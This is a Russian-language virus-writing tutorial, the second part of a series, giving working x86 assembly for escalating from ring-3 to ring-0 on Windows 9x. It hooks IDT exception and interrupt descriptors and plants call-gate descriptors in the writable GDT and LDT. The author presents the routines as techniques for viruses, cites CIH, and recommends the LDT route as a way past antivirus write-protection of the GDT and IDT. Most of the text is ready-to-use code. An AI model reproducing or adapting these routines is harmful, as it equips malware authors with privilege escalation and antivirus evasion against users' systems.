In your head, in your head
they are dyin'...
В первой части статьи мы говорили о переходе вирусов в ring-0 лишь в теории, а здесь мы рассмотрим практические примеры.
Дела обстоят так: под Win9X существуют открытые на запись таблицы IDT, GDT & LDT. Непосредственную работу с ними мы далее и проведем. Во всех примерах полагаем, что соответствующая таблица находится в памяти, открытой для записи. Также должно быть ясно, что нижеприведенный код работоспособен под ring3/ring0, а не под V86.
Итак, IDT (Interrupt Descriptor Table, таблица дескрипторов прерываний) описывает прерывания, существующие в протмоде. То есть, грубо говоря, это селекторы и смещения на каждое прерывание.
Поскольку модель памяти флэтовая, мы просто меняем адрес одного из исключений/прерываний на адрес своей процедуры, вызываем сие исключение/прерывание -- и мы в ring0.
Здесь есть два пути. Можно вызывать исключеня (exception), а можно вызывать прерывания. В чем разница? Прерывание вызывается командой INT, опкод CD ;-). А исключение -- созданной нами тяжелой ситуацией. (А кому щас легко?) Например если попытаться скормить процу опкоды FF FF то он вызовет исключение 06. Делим на 0 -- 00. Трассируем -- 01. Не подгружена страница памяти -- 0E. Глюкавая программа -- 0D. Короче говоря, разница тут между прерываниями и исключениями в том, что если дескриптор описывает исключение (например инт с номерком из вышеперечисленных) то в типе дескриптора у него похеру какой DPL, а если это обычное прерывание, то DPL надо поставить 3 (смотри сюда), иначе вызовется не требуемый инт, а INT 0D (нарушение защиты). Другое дело, если перехватывать сразу 0D.
Пример перехода в ring-0 с использованием IDT, INT 00h. Вызов исключения.
go_to_ring0: pusha call __pop1 ; SEH mov esp, [esp+8] jmp __exit __pop1: push dword ptr fs:[0] mov fs:[0], esp push edi ; получить адрес IDT sidt [esp-2] pop edi add edi, 8*00h ; адрес дескриптора INT 00h fild qword ptr [edi] ; сохранить дескриптор call __pop2 ; получить адрес нового ; обработчика исключения call ring0_proc ; вызвать в ring0 dec eax ; для нормаьного повтора DIV-а iret ; возврат из прерывания в ring-3 __pop2: pop word ptr [edi] ; установить новый оффсет pop word ptr [edi+6]; обработчика прерывания xor eax, eax xor edx, edx div eax ; вызвать INT 00h fistp qword ptr [edi] ; восстановить дескриптор __exit: pop dword ptr fs:[0]; SEH pop eax popa ret
Пример перехода в ring-0 с использованием IDT, INT 01h. Вызов исключения.
go_to_ring0: pusha call __pop1 ; SEH mov esp, [esp+8] jmp __exit __pop1: push dword ptr fs:[0] mov fs:[0], esp push edi ; получить адрес IDT sidt [esp-2] pop edi add edi, 8*01h ; адрес дескриптора INT 01h fild qword ptr [edi] ; сохранить дескриптор call __pop2 ; получить адрес нового ; обработчика исключения call ring0_proc ; вызвать в ring0 and byte ptr [esp+9], not 1 ; убрать TF iret ; возврат из прерывания в ring-3 __pop2: pop word ptr [edi] pop word ptr [edi+6] pushw 7302h ; установить TF (trace flag) popfw nop ; вызвать INT 01h fistp qword ptr [edi] ; восстановить дескриптор __exit: pop dword ptr fs:[0]; SEH pop eax popa ret
Пример перехода в ring-0 с использованием IDT, INT xxh. Вызов прерывания.
go_to_ring0: pusha call __pop1 ; SEH mov esp, [esp+8] jmp __exit __pop1: push dword ptr fs:[0] mov fs:[0], esp push edi ; получить адрес IDT sidt [esp-2] pop edi add edi, 21h*8 ; адрес дескриптора INT xxh fild qword ptr [edi] ; сохранить дескриптор call __pop2 ; получить адрес нового ; обработчика прерывания call ring0_proc ; вызвать в ring0 iret ; возврат из прерывания в ring-3 __pop2: pop ax ; создать дескриптор прерывания stosw mov eax, 0EE000028h ; sel=28h, type=IntG32/DPL=3 stosd ; ~~~~~ pop ax stosw int 21h ; вызвать прерывание fistp qword ptr [edi-8] ; восстановить дескриптор __exit: pop dword ptr fs:[0]; SEH pop eax popa ret
Таблицы GDT и LDT (Global- и Local Descriptor Table, таблицы глобальных/локальных дескрипторов) суть описывают селекторы, что в протмоде являются заменой старых добрых сегментов. Иногда, правда, кроме селекторов они описывают и более сложные объекты защищенного режима, что нам и потребуется.
Таблица GDT - одна на всех (на то она и Global), а таблиц LDT может не быть не одной, может быть по одной на каждую задачу, а может быть несколько на несколько задач. То есть полное безобразие.
Инфу о таблице GDT можно поиметь при помощи команды SGDT m
sgdt xxx ... xxx label pword gdt_limit dw ? gdt_base dd ?
Как видим можно поиметь gdt_limit -- размер таблицы уменьшенный на 1, и gdt_base -- базовый адрес таблицы.
Инфу о таблице LDT поиметь более сложно, ибо команда LGDT r/m16 возвращает селектор LDT, а дескриптор этого селектора находится в GDT.
sldt ax
Теперь чтобы из этого селектора (который в AX) поиметь базу/размер LDT, надо сделать так:
sgdt xxx mov ebx, gdt_base ; EBX = база GDT sldt ax ; AX = селектор LDT and eax, not 111b ; EAX = (# селектора в GDT) * 8 add ebx, eax ; EBX = адрес деккриптора LDT mov edi, [ebx+2-2] ; EDI = адрес LDT (из дескриптора) mov ah, [ebx+7] ; mov al, [ebx+4] ; shrd edi, eax, 16 ; movzx ecx, word ptr [ebx] ; ECX=размер LDT-1 inc ecx ; ECX=размер LDT shr ecx, 3 ; ECX=число дескрипторов в LDT ... xxx label pword gdt_limit dw ? gdt_base dd ?
В чем же отличие GDT от LDT -- для нас? Если взглянуть на вышеприведенный код, то становится понятно, что работать с GDT несомненно проще, чем с LDT, и это так. Но дело тут вот в чем. Существующие антивирусы в состоянии активно противодействовать нашему переходу в ring-0. То есть они уже могут защищать от записи (записи из ring3) страницы памяти в которых находятся GDT и IDT. В частности SPIDER.VXD уже умеет защищать от записи GDT и IDT, и все вирусы читающие/пишушие в эти таблицы (то есть CIH и прочие, с похожим на него переходом в 0 через IDT) -- все они сосут.
А вот с LDT сложнее -- запись в нее использует сам находящийся в ring3 16-битный кернел от маздая, KRNL386.EXE. В этом то и заключается вся хуйня... ;-)
Итак, как же мы собираемся переходить в 0 через LDT/GDT. Как уже было сказано выше, в этих таблицах хранятся не только дескрипторы сегментов. Там еще бывают такие вещи как сегменты состояния задачи, шлюзы перехода (callgate) и еще хрен знает чего. Собственно на последних -- шлюзах -- мы и остановимся.
Шлюз перехода -- это такая хрень, которая позволяет перейти из одного кольца защиты в другое. Конкретно -- из ring3 в ring0. Что собой представляет шлюз перехода? А представляет он собой всего-навсего дескриптор в таблице GDT или LDT, а адреса их мы получать уже умеем. От обычного же дескриптора селектора дескриптор шлюза отличается некоторыми битами.
Вызов шлюза осуществляется путем команды FAR CALL, где в качестве селектора указывается селектор шлюза, оффсет же похую какой. Куда пойдет управление после такого CALL-а? А туда, куда указывает оффсет в дескрипторе шлюза. Вот только кольцо защиты будет уже другое.
Итак, вот переход в ring-0 через GDT:
go_to_ring0: pusha call __pop1 ; SEH mov esp, [esp+8] jmp __exit __pop1: push dword ptr fs:[0] mov fs:[0], esp call __pop2 ; получить адрес callgate-а call ring0_proc ; вызывается в ring-0 retf ; здесь RETF -- обратно в ring3 __pop2: pop esi ; ESI=адрес callgate-а push edi ; получить адрес 1-го дескриптора sgdt [esp-2] ; GDT (нулевой не используется) pop edi add edi, 8 fild qword ptr [edi] ; сохранить дескриптор mov eax, esi ; создать дескриптор callgate-а cld stosw mov eax, 1110110000000000b shl 16 + 28h stosd shld eax, esi, 16 stosw db 9Ah ; вызов callgate-а dd 0 dw 1*8+11b ; sel.#8, GDT, ring-3 fistp qword ptr [edi-8] ; восстановить дескриптор __exit: pop dword ptr fs:[0] ; SEH pop eax popa ret
А вот переход в ring-0 через LDT:
go_to_ring0: pusha call __pop1 ; SEH mov esp, [esp+8] jmp __exit __pop1: push dword ptr fs:[0] mov fs:[0], esp call __pop2 ; получить адрес callgate-а call ring0_proc ; вызывается в ring-0 retf ; здесь RETF -- обратно в ring3 __pop2: pop esi ; ESI=адрес callgate-а push ebx ; получить адрес GDT sgdt [esp-2] pop ebx sldt ax ; получить селектор LDT and eax, not 111b jz __exit add ebx, eax ; адрес дескритора LDT в GDT mov edi, [ebx+2-2] ; получить адрес LDT mov ah, [ebx+7] mov al, [ebx+4] shrd edi, eax, 16 fild qword ptr [edi] ; сохранить дескриптор mov eax, esi ; создать дескриптор callgate-а cld stosw mov eax, 1110110000000000b shl 16 + 28h stosd shld eax, esi, 16 stosw db 9Ah ; вызов callgate-а dd 0 dw 100b+11b ; sel.#0, LDT, ring-3 fistp qword ptr [edi-8] ; восстановить дескриптор __exit: pop dword ptr fs:[0] ; SEH pop eax popa ret
Как видно, в приведенных примерах используется SEH (Self Exception Handling). Вкратце -- это дело обеспечивает переход на метку __exit при возникновении некоторых глюков.